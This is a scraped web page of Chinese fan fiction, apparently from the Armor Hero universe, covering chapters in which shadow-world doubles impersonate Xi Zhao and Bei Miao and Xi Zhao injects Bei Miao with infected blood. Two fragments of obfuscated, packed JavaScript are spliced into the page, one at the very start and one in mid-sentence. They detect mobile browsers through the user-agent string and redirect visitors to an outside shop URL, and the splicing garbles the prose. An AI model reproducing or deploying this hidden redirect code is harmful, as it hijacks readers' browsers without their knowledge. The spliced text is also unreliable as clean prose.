l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334707|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起的头。原因无他:西钊认为是“北淼”解除了北淼的铠甲,并操控他伤害了北淼。而“北淼”没有承认也没有否认,只是说了句“就算我不出手,你看到他也会释放你的‘兽性’”,西钊就一拳打过来了。而被打不还手从来不是“北淼”的风格,于是就演变成一场差点没有结果的斗殴。如果不是西钊身上还有被黑犀铠甲打的伤,“北淼”一时半会儿还真拿这家伙没法子。 西钊被按在床上动弹不得,扭动手腕试图挥舞从“北淼”口袋里夺来的折叠刀。他锁骨处还有几圈纱布,是当初被流星枪的刃风蹭到的伤口。“北淼”几个小时前帮他简单包扎过,结果刚结痂的伤口又因为剧烈的运动和激烈的情绪起伏而撕裂,渗出一片不规则的血痕。但西钊感觉不到痛,他眼里只有利用自己伤害北淼的这个恶人。他在清醒时从未对别人产生过这样强烈的恨意和杀意,他也知道报复性伤害没有意义,因为他无法挽回过去,但这是他目前唯一可以宣泄情绪的方式。 他知道自己内心深处恨的不是“北淼”,是伤害北淼的自己。哪怕北淼已经跟他说“我们分手吧”,他也没法一下子摈弃那些曾经生死与共、心灵相通的回忆。你若是问“你还爱他吗”,他给不出答案,他只知道这世界不会再有第二个人让他如此牵动心弦。他想去见北淼,但自己的身份、手上的血、与“北淼”的关系,都让他为自己感到可耻;他想说对不起,但所有词句都被异兽的利爪撕得粉碎:如果对不起有用,还要律法做什么呢? 他没脸再见,也无言道歉。 挣扎和反抗的力道逐渐减弱,“北淼”扬了扬眉毛,轻声笑道:“折腾累了?亏你知道分寸,不然,你再闹下去,我可不知道会对你做出什么来。那家伙不让我碰你,那是他的事。我可没说,要听他的话。” 西钊闭上眼,无视“北淼”的挑逗和嘲讽,甩动手腕将折叠刀扔在一边,冷冷道:“放开我。” 像是知道西钊不会再突然翻身给他腰子来一刀似的,“北淼”意外地配合,双手松开,甚至举在两边以示投降。他环顾一圈,嘴角戏谑的笑容由始至终不曾变过:“哎……藏獒拆起家来,可真是一场灾难。这下有得收拾了。” “滚出去,我自己来。”西钊一边脱下染血的长袖里衬,一边从床上坐起来,试图下床打扫整个不堪入目的混乱房间。然而他赤裸的上半身还残存着一半几乎变为红色的绷带,刚刚经历过两场战斗,消瘦的身形几乎无法支撑起他疲惫又沉重的脚步。 就在西钊整个人因为体力不支重心偏移往前摔时,“北淼”眼疾手快地拽过西钊的手臂,不温柔也不客气地一把将人丢回了床上:“得了吧,就你那身板子,都不够挨我两下的。给我躺着。” “北淼”用脚随意拨开地上的杂物,时不时弯腰翻找,总算从角落里拎出一个侧翻的医药箱。他精准地从散乱的“垃圾堆”里找出没拆封的纱布、绷带以及酒精和药膏,一股脑塞进箱子里反手扔到床上,要是再往左偏几厘米,就正巧砸进西钊怀里了。 西钊不想再和“北淼”理论什么,疼痛使他只是撑起身也得皱着眉头,神经和肌肉根本不能完全放松。但他现在也管不了那么多了,在影界又不是没这么狼狈过。结果西钊手还没碰到医药箱,胸膛突兀的一股推力让他猝不及防地又倒了回去。也许是反复拉扯伤口,西钊还是没忍住疼得低哼出声。他正要揪着“北淼”挥拳怒骂,却见“北淼”双膝跪立在他身侧,手里是外伤药和酒精棉签,嘴里叼着卷绷带和几片纱布,满脸都写着“咋了”。西钊一愣,握紧的拳头不自觉地松开,沉默地别开视线。 “北淼”勾唇轻笑,也没说话,只是默默地给西钊重新包扎伤口。 ———————— 总算能好好坐起身的西钊正好迎上直接盘腿坐他面前的“北淼”。他想挪身子,但实在没精力,他避开与“北淼”对视,淡然问道:“你当真……要替换他吗?” “换了又如何,她又不是我妹妹。” “北淼”干脆利落的应答让西钊倍感意外地抬起头,但对方的视线却不在自己身上,而是双手向后撑着上身,看向昏黄色灯光映照的天花板。西钊本以为他会毫不犹豫地说“当然”,结果……这算是什么答案?难道他来到这个世界不是为了替换北淼,抢走他的人生吗? 西钊还在惊讶于“北淼”的回答,甚至怀疑他在戏耍自己时,“北淼”却耸了耸肩,语气随便得好像这是件可有可无的事情:“你啊,难道就没有‘无论如何也要让他活下去’的念头吗?” 西钊先是迷茫地摇了摇头,思索片刻后,又坚定地点了点头。 “北淼”轻声笑了,似是自嘲,又好似感慨:“一边是活的好好的人,一边是要死不活的魂,你说,我更乐意救哪一个?” “……所以,为了这个目的,哪怕伤害无辜、四处作恶,也没关系吗?” “北淼”又是一声嗤笑,这次明显带着嘲讽,像是听到了什么令他忍俊不禁的话。他撤下撑住上身的手借力凑到西钊面前,笑道:“你……还真是不知道什么叫‘爱’啊。” 西钊眉头紧锁、没有退缩。此时他与“北淼”的距离仅仅只有分厘之差,鼻尖和额头几乎要碰在一起。他的眼神比以往任何时候都要锐利,气势丝毫不输“北淼”。被赤焰般的视线灼烧的金没有融化,而是变得更加滚烫、坚硬,锋利得可以削铁如泥。 “我不需要知道,因为我感受过那些真实存在的情感。而你……你当真以为,这个世界会允许‘不应存在的事物’继续存在吗?等到那时,你口中的‘爱’,在天道面前,还能有多大的力量?” “……” “北淼”收敛笑意,想透过西钊的双眸看清更多他读不懂的东西,但那双澄澈的眼中只有他自己残破的虚影。 TBC 80. 恶魔的游戏 ———————— 你分得清吗? 谁才是“恶魔游戏”里说谎的那个人? ———————— 当北淼得知影界二人组的目的是替换他和西钊的位置之后,首先便想到直接向众人揭穿“西钊”的伪装。然而很快他就发现,自己根本拿不出“他不是西钊”的证据。 说性格,两个西钊相似的过去使其模仿起来得心应手;说经历,那个家伙不知道何种方式得到了西钊迄今为止的记忆,几乎无法找出破绽;说感情,本就爱着这个世界的人又怎么会演不出人世间的喜怒悲欢。“西钊”这个躯壳的防御太过紧密,北淼一时间不知从哪个方向切入进去。他唯一的想法是从异能兽身上意外得到的那枚黑犀戒指。再怎么说,一个和西钊毫无关系的怪兽,不可能戴着全世界独有一对的戒指招摇过市。但是会有人相信吗?毕竟美真提到过当时卫星受到干扰,无法返回画面影像,没有人知道那场战斗发生了什么,加上“西钊”的添油加醋,在这种情况下,北淼必定难以自证。 怎么办? 出院日在即,比起美真提到的“被异能量感染的人类”,北淼一心只想到可能是西钊的异能兽此时说不定在外为非作歹、想到那时异能兽面对伤害他的行为痛苦不堪、想到自己对西钊杀了人这件事依旧摇摆不定、又想到“西钊”口中另一个自己对西钊图谋不轨,内心的那股焦虑和躁动就不断地积压,让他寝食难安、如坐针毡。 北淼很清楚,感染事件和影界那两个混蛋脱不了干系,如果那只异能兽真的是西钊,极大概率也是受到异能量的侵蚀;他也知道,过去西钊曾有类似的经历,同样的方法利用在其他感染者身上也许就能解决问题。但当他听美真说:“西钊”以“用光影石能量场清除异能量的方法极为痛苦,不适合普通人”为由提出了不同的见解,于是大家也就开始换别的思路考虑其他解决方法时,北淼便意识到,这个“西钊”比他想的更加精明。更别说出院之后…… “你说什么?!”北淼有如犀牛一般气势汹汹地凑到坤中面前,吓得坤中抬起手连连后撤,搞不懂为什么自己来接北淼出院,只是随口说了些关于西钊的事情就踩到了他的地雷,而北淼仍紧追不舍地跟上坤中的脚步迅速逼近,“你再说一遍?” 坤中后退无路,鞋跟磕到高台花圃边缘,被忽然提高声音的北淼吓得“呜哇”一声,脚步不稳地整个人摔坐在花圃边的大理石瓷砖上,悬在半空的手不知该放哪:“是、是西钊自己说的,说什么、你把他当成别的世界的西钊,还说他是影界的人。他想跟你解释,结果、结果最后你们因为这个分手了。又不是西钊的错,你干嘛发那么大的火啊……” 北淼都要气笑了,不,他听到自己笑出了声。他闭上眼,一手叉腰、一手扶额,烦躁地揉捏眉心,尝试用几次深呼吸平复情绪,仿佛捏住鼓囊气球的尾部小心地用针戳出一个孔,在气球不爆炸的情况下费劲心力挤出最后的理智和平静:“哼,说我把他当成影界的家伙……好一个先发制人,这个混蛋。”面对莫名其妙看着他的坤中,北淼再次感觉到说出“烂橘子”名言那天他对坤中“恨铁不成钢”的无力和无奈,“从某种意义上说,你应该比我更了解他。难道你最近就没有觉得、他和平时不一样了吗?” “啊?”坤中滞空的双手垂下,摸了摸后脑勺,虽然不理解北淼的问题,但毕竟对方是大哥,坤中还是很认真地回忆起来,“西钊他最近、也没什么特别的吧……除了好像不怎么爱说话了,也不经常和我打球……我还在想是不是因为、他和你分手的缘故呢。” “那家伙向来沉默寡言。不跟你打篮球,很可能是他根本就不会打,怕露出破绽吧。”北淼不屑地嗤笑,挪步坐到坤中身边。由于坤中多少还是感觉到了一些细微的违和之处,又考虑到他的年纪和心智,北淼也不再为难,恢复了以往的耐心:“你听美真说过吧,这段时间有人被异能量感染,甚至变成异能兽袭击光影村后人,连我也被他重伤。”见坤中点点头,北淼便十指交握低下头、盯着石砖地板继续说道,“如果我告诉你,那只异能兽就是西钊,造成感染的罪魁祸首、是你们现在看到的那个‘西钊’,你……怎么想?” “这不可能!”坤中没等北淼的问题说完便整个人窜起来,双手激动地握成拳,“西钊他怎么会是——你要是怀疑西钊的话,就得拿出证据!” 若是平常,北淼自然不会在争辩中让对面的声音超过自己,不论是气势还是道理,但此时的北淼不再有方才的气焰,神色平静,没有马上拍案而起和坤中吵起架来,倒不如说,他连像以前一样无理取闹的“理”都编不来。他拿出被串在断裂项链上的戒指,将断链挂在指间展示给坤中看:“这是那天我和异能兽战斗时,从它脖子上夺来的项链。上面的戒指,是我和西钊的对戒。没人能复刻的两枚戒指,其中一枚、为什么会在一只长得像‘雪獒’的异能兽身上?” 坤中一时哑然。愣了半晌之后,他才像个做错题目的学生,一边挠头一边蔫巴巴地坐回原位。虽然有些动摇,但他依旧对这样不可思议的说辞感到难以置信:“就算你这么说了,我……我还是不能接受。” 北淼牵起嘴角,无声地自嘲轻笑,抬手轻拍坤中的肩膀:“告诉你这些,不是为了让你相信我。有一句话是这么说的:怀疑一旦产生,罪名就成立了。你可以继续相信、在你们身边的那个人就是西钊。”北淼眉头微皱,表情逐渐变得严肃,“但无论如何,其他世界的影界势力已经开始渐露锋芒,以后的形势只会越来越复杂。我只是建议,你要用怀疑的眼光看待一些事情。” “既然这样,你和西钊分手的事情……”坤中歪歪脑袋,侧目望向气场阴沉的北淼,小心翼翼问道。 北淼半张着嘴停顿片刻,没有告诉坤中他怀疑自己和西钊分手是那两个影界镜像从中作梗。他抿了抿唇,微妙地避重就轻:“我们之间的事、和异能量感染无关。现在该考虑的,是怎么向影界势力反击。他们的目的一定是光影石、光影铠甲,还有光影村后人,绝非‘取代我的位置’那么简单。” “啊?什么取代?”坤中本来已经差不多捋顺了现状,结果北淼最后一句又给他听迷糊了,“难道除了假的西钊,还有假的北淼吗?” 呃,说来话长。北淼觉得再说下去得说个没完,便随意摆摆手:“没什么,说了你也不信。总之,最近多对西钊留个心眼。我一定会找到、揭穿那个混蛋的证据。” 就在坤中茫然又犹豫地缓缓点头之时,他们的召唤器同时响起警报。由于北淼的召唤器刚修好,索性让坤中接了指挥室的电话:“坤中、北淼,在你们东边三条街有异能量出现,根据卫星测算,应该和之前袭击北淼的是同一只异能兽。坐标已经发过去了,我会让炘南支援你们。” “等等!”一个想法如流星瞬间从北淼脑海中闪过,他夺走坤中的召唤器、制止美真的求援通信,接着说出了让所有人都感到意外的提议,“让西钊过来、让他来召唤铠甲!” “北淼?” 美真的声音听上去十分不解。考虑到北淼和西钊之间紧张的关系,北淼这么做的动机存疑,但当下最紧要的是解决异能兽,理论上说谁来支援战斗都没有区别。于是美真也没有多问,通过召唤器向“西钊”发送了异能兽的坐标。 通讯切断后,北淼一刻也不停歇,拽着坤中就钻进他停在路边的黄色跑车里,朝目的地驰骋而去。 ——他找到了。他找到让那个家伙露出破绽的方法了。虽然依旧有赌的成分,但值得他放手一搏。这次,他无论如何都要踩住“西钊”的狐狸尾巴,让他无处可逃! ———————— 老实说,得知除了自己之外还有其他异能量感染者,西钊并不觉得意外,相比之下,这些人的感染源是他的血这件事更令他感到惊讶。尽管不会有生命危险,西钊也不愿影界以这种方式增加受害者——至少被他攻击的后遗症没有那么……激烈。 “这可不是你能说了算的。”“北淼”拉高音调,环抱双臂斜靠在巷子口,视线在眨眼间挪至远处几个打球的人身上,“比起无谓的挣扎,不如想想、一会儿怎么让那帮家伙睡得舒服点儿吧。” 西钊潜在巷子深处,没有理会“北淼”的调侃。外面的阳光完全无法照射到他,阴影将他笼罩,黑色高领夹克加上熟悉又陌生的半脸面罩让他几乎与黑暗融为一体。 自从“误伤”北淼、又在“北淼”身边冷静许久之后,西钊一边执行“北淼”的指示,在改变五行村后人基因的同时为“西钊”汲取能量;一边为如何给ERP的伙伴们提供有利线索和帮助绞尽脑汁。他知道自己很大可能不会落下个好结局,所以在那之前,至少让他去做他能做的事。他想过和“北淼”谈条件,随后便意识到自己没有任何筹码;他也问过指使“北淼”和“西钊”的幕后黑手到底是谁,但那两个人都没有给出过答案。 现在最重要的是,让北淼知道当下的情况:异能兽就是西钊、西钊的血是二次感染的来源,以及,现在ERP里的“西钊”,是冒牌货。至于“北淼”打算利用西钊给“西钊”续命,或者顺便替换北淼这些事情,往后再提也不迟。 那么,要怎么做呢? 西钊望着不远处观察目标伺机而动的“北淼”,若有所思。他不能主动去找北淼,也许可以利用北淼作为黑犀侠主动来“消灭”他这个异能兽的时机,让北淼意识到什么——等等。西钊的思绪忽然回到他重伤北淼那天。 他的项链、准确来说是他的戒指好像在当时被流星枪的刃风击落到了地上。那会儿西钊并不清醒,只记得戒指丢了。现在想想,出于某种原因,他在下杀手之前突然清醒,而他逃走之前北淼并没有失去意识,因此戒指极有可能会被北淼捡到。那么他是不是可以假设,北淼……已经察觉到不对劲了呢?毕竟“西钊”拥有和自己一样的记忆,也能模仿自己的言行举止,西钊没有那个信心认为北淼能一眼识破“西钊”的伪装,而那枚独一无二的戒指就是违和感最好的证明。 既然如此,北淼会有危险么?他会直接向“西钊”暴露自己吗?或者向众人揭穿:这个人不是西钊!虽然确实是北淼的风格,但会不会有些太草率了?北淼他……到底是怎么想的呢? 西钊忽然很怀念从前他们有“心灵感应”的日子,如果现在他们能彼此心意相通,来个“里应外合”,就能打影界个措手不及。可惜……西钊的一声轻叹随风散在阴影里。信息不同步,他只能放着“北淼认没认出异能兽是前男友”不谈,先考虑怎么把感染源的情报传递给ERP。 感染源是他的血,西钊想,最简单的方法就是通过某种方式将自己的血递交给ERP的伙伴。他之前偷听“西钊”和“北淼”聊过,ERP实验室还没有拿到感染者完整的血液分析报告,不管是院方还是ERP的设备都没有检测出感染源。既然无法寄希望于感染体,就只能由西钊自己提供。但问题就在于,西钊在异化时受到“北淼”的控制——该死的,他至今没想明白原理——很难有自己的意识。在这种情况下,他要如何…… “喂。”“北淼”的声音打乱了西钊的思路,他恍然回神抬起头时,“北淼”正巧抛给他一支装着红色浓稠液体的针管,“计划有变。这是给你前男友准备的。一会儿看我眼色行事。” 西钊不用猜都知道刚刚接在手里的是什么:他自己的血。他们打算让北淼感染异能量,这是渗透光影铠甲召唤人的第一步。 西钊讽刺地笑了笑,嘴角的弧度在他脸颊压出两个深而小的酒窝:“你哪里来的自信,觉得我会为你们做这件事?上次‘误伤’北淼的教训,你还没领教够吗?” “这是你的选择,没有人逼你。”“北淼”耸耸肩,撤下松散的悠闲姿势,手插裤袋逆着光一步步朝暗影中的人走去,他微微眯起眼睛,散发出危险的气息,“摧毁光影铠甲是我们的最终目的,这件事我们迟早都会做。你要知道,我和他的行事风格,可没你这么……温和。你可以拒绝,无所谓,倒不如说正合我意。早点会会另一个‘黑犀侠’也不错,省得夜长梦多。不过,等到那时,毁掉他的方法、可就不止这一种了。” “……所以你就让我毁了他,是吗。”西钊咬牙切齿地说。他攥着针管的手逐渐收紧,几乎要把针管捏得粉碎。 “北淼”稍稍前倾身体,两人之间的距离仅有分毫之差,黑暗中,他的声音低沉、笑容晦暗不明:“我说过了,没有人逼你。你怎么选,是你的事。就算你现在跑出去暴露一切、告诉他们真相,我也不会阻止你。当然,如果你可以的话,你现在早就不在这里了。” “‘北淼’,你——!” 也不等西钊再说什么反驳,“北淼”便严肃了神情,抬手用大拇指朝巷子外的球场指了指,打断西钊的话,示意他开始行动:“行了,废话少说。如果不想因为‘效率太低’,导致我们得加班加点、到处拿针扎人脖子的话,就做好自己该做的事。” 西钊的视线甚至不愿在“北淼”身上多耗一秒钟。他侧身扭头的瞬间,野兽的毛发开始便在身上生长;他踏出巷子时,已然是一副雪獒凶兽的模样。他的意识逐渐远去,直到最后都心里在问那个不会给出回答的人:你已经知道了吗?在你身边的人、不是我。 ———————— 北淼和坤中赶到时,“西钊”已经站在球场外,手插裤袋、胸前仍背着那个小挎包,神色平淡地观察正在袭击球员的异能兽。 似乎是感知到北淼二人的到来,“西钊”目视前方、径直往战斗的中心走去。他没有使用召唤器、也没有拿出晶片,雪獒的印记在他信步行走的过程中印刻于腰部,铠甲随着比以往灰暗些许的白色微光逐渐从腰胯覆盖至“西钊”全身。接着,几乎走到异能兽面前的他行云流水一般抬起手直截了当地给了它一拳,力气之大,将正咬住受害人脖颈的异能兽都震得松开口,踉跄地后撤两步。 “西钊!我们来帮忙!” 坤中正要召唤地虎铠甲,却被北淼拦下:“你去疏散人群,这件事交给我处理。异能兽的目标是五行村后人,可能不会和我们纠缠,需要有人牵制他的行动。” 见北淼说得有理,加上有雪獒铠甲和黑犀铠甲同时作战,坤中便不再怀疑什么,点了点头便挥手大喊,引导人群往正确的方向逃离。 而北淼则毫不犹豫地召唤铠甲,朝两只“雪獒”的方向快步小跑,转动腰带唤出水甲盾,在雪獒铠甲的震雷斧第二次向异能兽胸口斩下时闪现在它面前,抬臂格挡住那力道可以置人于死地的杀招。 斧与盾相接的沉重铿锵声令雪獒铠甲动作僵住一瞬,北淼趁此机会甩臂将震雷斧掀翻在一边,挥拳尝试用水甲盾的锐利尖角进行突刺。但雪獒铠甲意外地敏捷,即刻下压震雷斧,以斧面为盾成功格挡,并展开弓步向前推进,对北淼施压。与此同时,在北淼身后的异能兽也进入狂暴状态,高举手臂毫不留情地以利爪在黑犀铠甲的背部擦出闪耀的火花。北淼恨自己忘了西钊作为异能兽时根本认不出他,水甲盾的进攻顷刻间被破,来自异兽的重击让他身体不稳,一个侧滚翻跪倒在地。 雪獒铠甲、或者说,“西钊”,非常入戏地质问道:“北淼,你在干什么?为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334708|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么要护着它?让开。” “……” 明知故问。这也是你们的诡计之一吗? 北淼踉跄起身,恨不得下一拳就砸在那副冒牌铠甲的脸上。但快速向他袭来的不是雪獒铠甲的震雷斧,而是异能兽的獠牙。好在他黑犀是防御型重甲,没能让它得逞。但对异能兽的身份心里十有八九有底的北淼已经拿不出攻击它的勇气了。他的目的只是让“西钊”召唤雪獒铠甲。剩下的,他只能随机应变。就在异能兽即将再次挥拳展开攻击时,北淼的视线越过异能兽,清晰地捕捉到它背后映在空中的白色符文边框,而那方框中的字他再熟悉不过:削。 震雷削。 糟了,这个混蛋想干什么!北淼瞬间警铃大作。他与“西钊”的距离不算近,以他现在的体力冲过去阻止必杀帖肯定是来不及了,那就只好—— 说时迟那时快,苍白的震雷削伴随雪獒的怒吼卷起浮尘直奔异能兽而去,北淼顿感身上的一切痛觉和迟缓烟消云散,那般能与梦中拉住坠崖西钊相匹敌的敏捷驱使他的身体按住异能兽的肩膀与其交换位置。就在这瞬间,可谓最强防御的黑犀铠甲硬生生地接下了雪獒铠甲的震雷削。强烈的冲撞将北淼和异能兽一同击飞了几米远,无意识松开的手让他和异能兽分别摔倒在两侧。背部的二次重创即使是防御型的黑犀铠甲也承受无能。落地不久后,铠甲的能量便急剧衰竭,仅仅几秒便自动解除。 被光影能量的冲击而吸引的坤中终于注意到远处混乱的战况,令他困惑的是,北淼居然挡在异能兽面前,替它接下了雪獒铠甲的必杀帖。坤中不禁皱起眉倒吸凉气。要知道,他之前可是体验过西钊那把震雷斧劈下来有多痛的。那时西钊肯定都没使出全力,即便如此他还是在ERP诊疗室躺了好几天。更别说、更别说他的必杀技——震雷削——搞不好可是会没命的啊!为什么?坤中不明白北淼为这只异能兽连命都可以不要的执着。难道说北淼真的觉得那只异能兽是正牌的西钊,而现在穿着雪獒铠甲的人……是影界的间谍?不可能,影界的冒牌货怎么可能召唤得了光影铠甲? 眼看躺倒在地的北淼狼狈地撑起半个身子、捂着胸口剧烈咳嗽,坤中也不再多想,冲向前打算搀扶。然而从雪獒铠甲中传出了坤中再熟悉不过的声音,吓得坤中伸出的手僵在半空:“坤中,小心!” 雪獒铠甲侧身挡在坤中面前,双手握住震雷斧,斧柄正好抵住异能兽挥向坤中的锋利兽爪。他将震雷斧用力抬起,迫使异能兽失衡后撤,倾斜斧刃对着异能兽的胸口顺势就要再次蓄力一招震雷削。谁知一对刚金利爪交叉在震雷斧下,挡住雪獒铠甲的二次必杀。“西钊”定睛一瞧,是坤中召唤出的地虎铠甲。虽不在他的计划内,但这点插曲于他而言不值一提。 “西钊,等等,先别封印它!不是说、它的本质也是人类吗?我们把它抓回去、让美真姐和东杉哥好好分析分析。而且、而且……”坤中一边招架异能兽的攻击,视线一边不停往依旧半躺在地的北淼那里瞟,“而且北淼说,那个异能兽……它其实、其实——” “其实是‘我’,对不对?北淼觉得,那只异能兽,是真正的‘西钊’。”藏在雪獒铠甲下的“西钊”露出无法觉察的笑容,说出口的话语却带着质问,语气里满是“果然如此”的味道,“可是、坤中,你有没有想过,万一……真相是恰恰相反的呢?”他紧握震雷斧,由下而上分开纠缠的二人,以重甲的强势将坤中护在自己身后,巧妙地让摇晃着站起来的北淼和咆哮的异能兽在同一侧。 “西钊”回过头,即使情势紧急也能听出他的语重心长:“被影界替换的、也许是北淼。我一直不愿面对这种可能性,直到今天亲眼看到他……” 坤中看着与异能兽站在一边的北淼,又看向“西钊”,他觉得“西钊”的话好像说得通,又好像有那么一点违和,但面甲的遮蔽让他无法通过“西钊”的表情揣测他的心理,这反而让坤中的脑子更加混乱。 “西钊”没有在意坤中的沉默,掐指一算,时机正好。他微微转头望向无人在意的巷子角落,对着那片阴影不着痕迹地小幅点头,接着又对坤中提出自己的“猜测”:“我觉得,北淼没有说谎:异能兽确实是‘我’,只不过、是来自另一个世界的,属于影界的我。在‘恶魔游戏’*里,只有恶魔的话是半真半假。说不定,北淼一直在和那个‘西钊’演戏。就像……” (*参考游戏《锈湖:根源》中的恶魔游戏) “西钊”故意没有把话说完,因为就在此时,“北淼”的干涉使得西钊的异化逐渐恢复,而雪獒铠甲也在同一时间主动解除。于是,不同世界的二人,以独立个体的身份,出现在了同一世界。西钊和北淼一样狼狈,紧攥着胸口的衣物,试图缓解方才被震雷斧重击的疼痛;“西钊”则撤下握斧姿势的双手,自然地垂在身侧,眼里除了淡然甚至带着些冷漠。 此情此景,直接让北淼和坤中看愣了神,仿佛整个世界都被按下“禅定印”——坤中是讶异这世界真的有“第二个西钊”,北淼则警惕起这番闹剧的真实目的。坤中跟着西钊解除铠甲,而北淼的目光由始至终就没有从变回正常人类的西钊身上挪开过,他张口想喊西钊的名字,但发现自己全身都在发疼,本就大病初愈,如今更是雪上加霜。 尚未平复呼吸的西钊在清醒之后做的第一件事就是转头看向北淼。仅仅只有那一瞬间的对视、仅仅只有那一个眼神的交流,仿佛“心灵感应”重新建立,他们即刻确信:面前的并非镜像,而是那个他们朝思暮想的、于心有愧的人。 但北淼很快发现,西钊看着他的表情不太对劲:十分复杂、五味杂陈,几乎无法用确切的词句形容。有不舍、有愧疚、有悲伤——如果不是北淼的错觉,西钊的眼里似乎还有一丝决绝,像是下定了某种无可挽回的决心。 ……决绝? 北淼还没来得及多想,甚至都没和西钊说上一句话,坤中还在那边感叹“这到底是怎么回事”,西钊的眼里就已经燃起一不做二不休的决意。他忍着胸口的疼痛迅速绕到北淼身后,臂弯架住北淼的脖颈,将握在手中许久的针管扎向他的颈侧。 “北淼!!”坤中大喊着,却已是阻止不及,针管里的鲜红液体肉眼可见地被迅速推进。 “……北淼,你别怪我。” 在意识到这是西钊贴着他的耳朵对他低语之后,北淼便觉得有什么冰冷的东西浸湿了他的衣领,又刺进他的皮肤、侵入他的血液,疯狂啃噬他的骨髓、剥夺他的意识、撕扯他的灵魂。他顾不得问西钊“为什么”,也思考不了“怎么办”,只能任由五感逐渐衰竭,直至一切坠入黑暗。 见此情景,坤中激动地想要冲上去,却被“西钊”抬手拦住:“小心!说不定是苦肉计。我们受过的教训……已经够多了。” “可恶!”坤中又急又气地跺了跺脚。 对外界的事物充耳不闻的西钊在推空针管之后,慢慢松开钳制北淼的手,北淼便如断线木偶摔在地上昏迷不醒。他垂眸望了一眼北淼后领上的血污,祈祷这个方法能够奏效——这是他唯一的赌注,也是他唯一的忏悔书。 西钊没有抬眼看向对面的二人:他邪恶的镜像、他曾经最好的朋友。在他的计划成功之前,他依旧无法光明正大地出现在阳光之下接受审判。他将黑色的半脸面罩拉上鼻梁、缓步后退,在坤中挣脱“西钊”的手臂冲上来之前消失在了黑暗中。 “西钊”在远处观望着一边手忙脚乱搀扶北淼、一边焦急忙慌联系美真的坤中,低下头让刘海的阴影遮住自己的表情,几不可闻地说道:“还剩……三个。” TBC 81. 纸中火 ———————— “此十年彼十年,熬过命数已力竭, “其实只想再见一面。” ———————— 从战斗现场回来之后,为了避免北淼“发作”,ERP为其注射了镇静剂。由于坤中的犹豫和“西钊”的怀疑,在大家讨论好怎么处理北淼之前,他被安排在治疗室维持基本的生命体征。 北淼昏迷期间,“西钊”告诉大家,他不确定北淼真实身份的理由很简单:他不认为真正的北淼控制欲会强到在他身上放追踪器和窃听器;他说,提出分手是对北淼的试探,他本来想把戒指还给北淼,却发现北淼自己主动要求“西钊”返还戒指,所以他怀疑连戒指也被做了手脚。万一北淼从他们发生矛盾之前就已经遇到危险、被影界替换,那么戒指很有可能会成为监视大家的工具。 ——半真半假,“恶魔”的标准手笔。 众人对“西钊”的叙述若有所思。炘南提议,无论北淼是真是假、是否用苦肉计作烟雾弹,至少先让他恢复正常状态,也就是利用光影石磁场清除异能量;东杉担心,清除异能量的行为正中影界下怀,不知道会对光影石或整个实验室产生什么影响;坤中则表示,他见过北淼控制欲强的样子,但装窃听器和追踪器还是太过了。 大家众说纷纭,“西钊”心想自己多说无益,反而容易露出破绽,于是转身起步离开。坤中见状,本打算伸手拉住他,最终只是叫了“西钊”一声。 “西钊!之前北淼怀疑你是……我是说——” “西钊”知道坤中的后半句是什么。他也不着急补充自证,只是自嘲地笑了笑:“我知道,坤中,没关系。我也明白大家的顾虑。现在的我、没有证明自己不是影界间谍的证据。如果你们不放心,我就在虚拟战斗室练功,哪里也不去,也不会干涉你们怎么处理北淼,直到你们相信我为止。” “可是、西钊……” 坤中还在为“西钊”没必要做到这个地步而焦急地组织语言,坐在桌前与“西钊”背身而对的炘南先行发话:“这样也好。谢谢你为大局考虑,西钊。北淼的事,我们会尽快有结果的。” “西钊”淡淡地“嗯”了一声,朝虚拟战斗室那边走去。身后的自动门准备关上的那一刻,“西钊”敏锐地捕捉到美真略带困惑的声音:“北淼的后衣领上……怎么有这么大一片血迹?那里明明没有发现任何伤口。” 血迹? “西钊”的脚步在关门的刹那停下。他微微偏头,向背后纯白色的实验室自动门投去几乎要将其洞穿的视线。血迹残存,意味着西钊没有将感染源完全注射,以他对另一个自己的了解,他不认为这是西钊在紧张情绪刺激下无意间犯的错误,相反,很显然这是西钊故意为之。而西钊这么做的理由只有一个:传递情报。如果被ERP知道血迹的来源是西钊,那么“西钊”的伪装就会立即变得岌岌可危。 不过,“西钊”转念一想,除此之外,他似乎也没有露出过其他破绽,在训练室里“闭目养神”,说不定会有新的对策。反正,自从在一本古书上了解到“那个方法”之后,论正论邪,他都已经没有退路了。 想到这里,“西钊”做了个深呼吸,似是为自己静心,又似是对现状的一种释然。他恢复往日的状态,通过走廊、进入监控范围下的虚拟战斗室。 当“西钊”闭上眼时,他的思绪渐渐地回到了他在图书馆的那个清晨。 ———————— 几天前,D市旧图书馆 “西钊”慢慢合上厚重的书本,陈年的积灰从书页中吐出,将从破碎的窗外钻进来的阳光包裹成一束,落在他跟前,映出一道仿佛与黑暗融为一体的修长轮廓。他将书本塞回书架,听着它传来沙哑的摩擦声,脑海中不断回想方才在这本无名古书中描述的有关“黑雾”的情报。 那团黑雾严格来说不像影霸和界王是影界麾下的个人势力,而是一种来源于“黑域”的不可名状之物,它的本源和存续的食粮是人的“恶念”。它不仅可以吸收人们心中的恶念化为自己的力量,还能够通过异能量扩张自己的感知范围,如同菌群和菌丝,将人类吞噬之后、又使其为己所用。 “西钊”的指尖仍在沾满灰尘的书籍上停留,指腹微微用力支撑着倾斜的书本维持微妙的平衡;手腕随意圈成手链的雪獒晶片透过灰蒙蒙的阳光摇晃忽闪。在这般平和宁静之中,“西钊”渐渐地将所有事串在一起。 